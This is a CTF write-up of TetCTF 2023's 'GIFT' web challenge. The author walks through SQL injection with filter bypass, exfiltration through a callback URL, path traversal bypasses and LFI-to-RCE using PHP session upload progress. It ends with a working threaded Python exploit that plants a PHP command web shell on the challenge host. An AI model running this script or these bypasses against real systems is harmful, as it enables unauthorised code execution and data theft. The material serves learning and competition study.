Tags: proc local_file_inclusion phpsession express sqlinjection type-juggling file_path_traversal path-traversal 

Rating:

Skills required: Blind testing, SQL injection with filter bypass, PHP Local File Inclusion to RCE

Due to my messy workflow, I probably used about 1 day on this challenge and ended up not solving it. ? There are tons of rabbit holes that successfully obfuscated the blind testing - it's often hard to tell if hitting something means to carry on or to back off.

Steps taken:

My actual steps are much less tidy, but for the sake of reading and learning it has been organized.

From the source, we can find send_pic.php and with some testing in Burp Suite:

the chall begins

inputting 0

With some basic enumeration, combined with the given MySQL database information we can conclude:

  • For 1 and 2, no output is given
  • For any other number, no data is given

It's easy to imagine exfiltrating the access token with SQL injection, but we can be more sure by trying to throw some errors with type juggling, a common trick in JavaScript and PHP challenges:

type-juggling

We are seeing something beautiful here:

  • url goes through strtolower
  • id goes through strpos, which is interesting as the value should be parsed as number
  • NONONO is thrown, this needs further enumeration
    • url[1] throws error
    • invalid url for url throws error

We can conjecture that the server is using the url, maybe a request is sent there? Let's spin up a webhook.site endpoint.

webhook.site

Note that the URL value is only sent to the URL and does not appear in the challenge site. With a means to exfiltrate data, now we can look at SQL injections.

SELECT a is OKAY

SELECT id is also OKAY

But it looks like the string key_cc is blacklisted (can't really show on pics). For people with more experience with MySQL, they probably know column names are not case sensitive.

exfiltrated

Now we can log in. The username and password fields were a bit misleading, but now we have get_img.php?file=messi.jpg.

The endpoint name hints that it is susceptible to local file inclusion (aka path traversal):

LFI

There are many we can try now, but there are many blacklists and red herrings. These are what I found during the CTF:

  • It's possible with ../index.php, ../get_img.php
  • But, any request with ../.. will give no output. This is meaningless because we can use .././.. instead.
  • We can dig deeper into the rabbit hole:
    • ../.htaccess is a nice starter, it doesn't seem very useful.
    • A typical example /etc/passwd shows some promising result, but invalid requests like /aaa/bbb/ccc/etc/passwd also show the result. I didn't realize it was a blacklist and was mislead into thinking the string was somehow processed
    • By trying some word lists, I could see the phrase lib/php is banned. This is again meaningless as lib/./php can be used.

Then I ran into many rabbit holes:

  • I thought about bypassing the media/ prefix for php wrappers. It probably isn't impossible
  • I thought I needed to find the correct php.ini as part of the recon because of the blacklist
  • Easier LFI-to-RCE routes are blocked:
    • /proc/self/environ has permission denied, and I can't tell if Apache log is blocked or that I had to find the true path in a non-default setting. Only at very late stage I realized that it could be toughened defense (from Orange Tsai)
    • my php sess is blacklisted, but I went a long way trying to change and insert characters to bypass the sess blacklist. In retrospect it probably isn't impossible.
  • I could access /proc/self/fd/10 though, but I wrongly assumed that it wasn't my session and couldn't make better use of it

I did came across the LFI-to-RCE via PHP sessions method, but:

  • I wrongly assumed that I could change the cookie by changing username, password and inserting cookie values manually.
  • I even had access to an excellent resource (written by LeaveSong) thanks to some reassurance from organizers, I tried it but I again I wasn't able to connect the dots and tried to bypass the sess blacklist.

I did know that phpinfo can be used for LFI-to-RCE, but I didn't have access to one and of course, ran down the rabbit hole of finding one.

Solutions:

There are 2 solutions but I'll only write about the easier one:

File Upload via PHP_SESSION_UPLOAD_PROGRESS + Race Condition

The actual method is included in the aforementioned resource. Even without Google Translate I can look at the code. After the CTF it was revealed that /proc/self/fd/10 was indeed the way to go. In fact I was so close:

  • change the LFI endpoint to /proc/self/fd/10
  • add back the cookie in the get request
  • I really don't need phpinfo, just put a command shell
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://172.105.127.104/index.php'
session = requests.session()
flag = '8645f3a1a7419bcb2796af86ebccb917'
def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success2', '<?php system($_GET["c"]);?>'); echo('{flag}'); ?>'''}
    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )
def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=.././.././.././.././proc/self/fd/10',
            cookies={'PHPSESSID': flag},
        )
        if flag.encode() in response.content:
            e.set()
if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event))
    for i in range(5):
        futures.append(pool.submit(write, event))
    wait(futures)

pwned

Original writeup (https://github.com/RaccoonNinja/TetCTF-2023-Writeups/blob/main/GIFT%20%5Bunsolved%5D.md).